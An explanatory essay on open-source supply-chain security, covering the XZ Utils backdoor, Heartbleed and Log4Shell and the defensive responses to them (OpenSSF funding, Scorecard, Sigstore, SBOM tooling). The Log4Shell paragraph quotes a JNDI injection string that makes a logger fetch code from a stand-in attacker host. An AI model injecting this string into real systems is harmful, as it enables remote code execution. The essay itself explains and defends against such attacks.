Open-Source Security

On March 29, 2024, Microsoft engineer Andres Freund posted to the oss-security mailing list that he had found a backdoor in `liblzma`, a compression library bundled with the XZ Utils package. He noticed SSH logins were running half a second slower than expected on a Debian sid system and traced it back through the library to a malicious payload that hijacked `sshd` authentication. The attacker, operating under the pseudonym "Jia Tan" (`JiaT75`), had spent roughly two years building reputation as a maintainer — submitting legitimate patches, gradually being granted commit access from the original maintainer Lasse Collin, then planting the payload across versions 5.6.0 and 5.6.1. Had the backdoor reached Debian stable, Ubuntu LTS, or Red Hat, the attacker would have held a master key to a significant fraction of the world's Linux servers. Read Freund's original disclosure at openwall.com/lists/oss-security/2024/03/29/4 and Russ Cox's deep timeline at research.swtch.com/xz-timeline.

In April 2014, Neel Mehta of Google's security team and engineers at Codenomicon independently discovered CVE-2014-0160 in OpenSSL: a missing bounds check in the TLS heartbeat extension allowed any attacker to read 64KB of process memory from a vulnerable server. Memory contents included private keys, session cookies, and passwords. OpenSSL at the time was maintained by roughly two full-time developers — Steve Marquess of the OpenSSL Software Foundation reported the project's total annual donations the year before Heartbleed were under $2,000. The disclosure cycle was a logistical disaster: Cloudflare, Akamai, and a few favored vendors got advance notice; most of the internet did not. The bug had been in production code for two years. Heartbleed birthed the modern named-vulnerability industry (logo, website, branded panic) and the Core Infrastructure Initiative — the first serious attempt to fund the libraries everyone depends on.

On November 24, 2021, Chen Zhaojun of Alibaba's Cloud Security team reported CVE-2021-44228 to the Apache Software Foundation. Log4j 2 — the default Java logging library — would resolve JNDI lookup strings inside any logged user input, allowing remote code execution by logging a string like `${jndi:ldap://attacker.example/x}`. Minecraft chat. HTTP User-Agent headers. iCloud device names. Tesla logs. Every Java service on the internet became remotely exploitable by anyone who could get a string into a log line. Jen Easterly, then CISA director, called it "the most serious vulnerability I've seen in my career." The library was maintained by a handful of volunteers. The lead maintainer, Ralph Goers, was working on it nights and weekends. The fix shipped in 2.17.0 after three more CVEs were found chasing the first one. Source: Apache CVE-2021-44228 advisory and CISA's emergency directive 22-02.

The pattern is the same in every case: critical infrastructure maintained by one to three unpaid volunteers, used by trillion-dollar companies. After Heartbleed, the Linux Foundation launched the Core Infrastructure Initiative. After Log4Shell, the Biden White House summoned 17 tech companies — Apple, Google, Amazon, Meta, Microsoft, IBM, Oracle, Cisco — to a January 2022 meeting on open-source security. The result was the Open Source Security Foundation's Alpha-Omega project, with $10M+ in initial commitments from Microsoft and Google to fund maintainers of the most-depended-on projects. Read the OpenSSF mobilization plan at openssf.org/oss-security-mobilization-plan — it's a 10-stream, $150M, two-year plan covering SBOM adoption, memory-safe language migration, code reviews of the top 200 projects, and direct maintainer funding. Whether $150M is enough to underwrite a software supply chain valued in trillions remains an open question.

The OpenSSF Scorecard project (github.com/ossf/scorecard) gives any GitHub repository a 0-10 score across 19 checks: branch protection, code review, dependency pinning, fuzzing, signed releases, SAST coverage, token permissions, vulnerability response time. The tool was originally built by Google and is now maintained by OpenSSF. Scorecard data on the top 1 million npm and PyPI packages is published at deps.dev. The signal is uneven — a high score doesn't prevent a Jia Tan attack — but it surfaces the obvious red flags: no two-person review on critical merges, dependencies pulled from unpinned tags, releases unsigned. For defenders, running Scorecard against your dependency tree is a cheap weekend audit that often reveals which packages have no review process at all.

Sigstore (sigstore.dev), launched by the Linux Foundation in 2021, is a free certificate authority and transparency log for software signatures. It pairs short-lived signing keys (Fulcio) with an append-only Rekor log so anyone can verify that a package was signed by the claimed identity and that the signature was published to a public log. Npm packages, Python wheels, container images, and Kubernetes artifacts increasingly publish Sigstore signatures. The model — OIDC identity + short-lived certs + transparency log — is borrowed directly from Certificate Transparency for TLS. The threat it addresses is the unsigned-tarball problem: when you `npm install`, you have no cryptographic chain back to a human. Sigstore won't stop a malicious maintainer (Jia Tan would have signed XZ just fine), but it stops typosquatting, mirror attacks, and post-compromise tampering.

A Software Bill of Materials is a machine-readable inventory of every component in a binary. Executive Order 14028 (May 2021) made SBOMs mandatory for federal software vendors; CISA's SBOM minimum elements (cisa.gov/sbom) defined the baseline. Anchore's Syft (github.com/anchore/syft) generates SBOMs in CycloneDX or SPDX format from container images, filesystems, or source. Grype (github.com/anchore/grype) cross-references SBOMs against CVE databases. The 2022 Trellix and Sonatype reports estimated the average enterprise application contains 528 open-source components; without an SBOM, vulnerability response after Log4Shell required `grep -r log4j /` on every server. With one, it's a database query. Defense Department contractors now ship SBOMs as deliverables.

Linus's Law — "given enough eyeballs, all bugs are shallow" — held until everyone assumed someone else was looking. Heartbleed sat in production for two years. XZ Utils took two years of social engineering. Log4Shell's JNDI feature had been in the library since 2013. Open source is auditable in theory; in practice, most dependencies are pulled blind through npm, pip, or cargo with zero human review. The strength of open source is that defenders can also read the code — Andres Freund could find the XZ backdoor because the source was open. The weakness is that the same property gives attackers a free, perfect copy of the codebase to study before striking. Closed source has obscurity; open source has visibility. Neither is security.

- Russ Cox, *The xz Attack Timeline* — research.swtch.com/xz-timeline - Andres Freund's original disclosure — openwall.com/lists/oss-security/2024/03/29/4 - OpenSSF Mobilization Plan — openssf.org/oss-security-mobilization-plan - CISA Emergency Directive 22-02 (Log4Shell) — cisa.gov/news-events/directives/ed-22-02 - *Working in Public* by Nadia Eghbal (Stripe Press, 2020) — the canonical book on the maintainer sustainability problem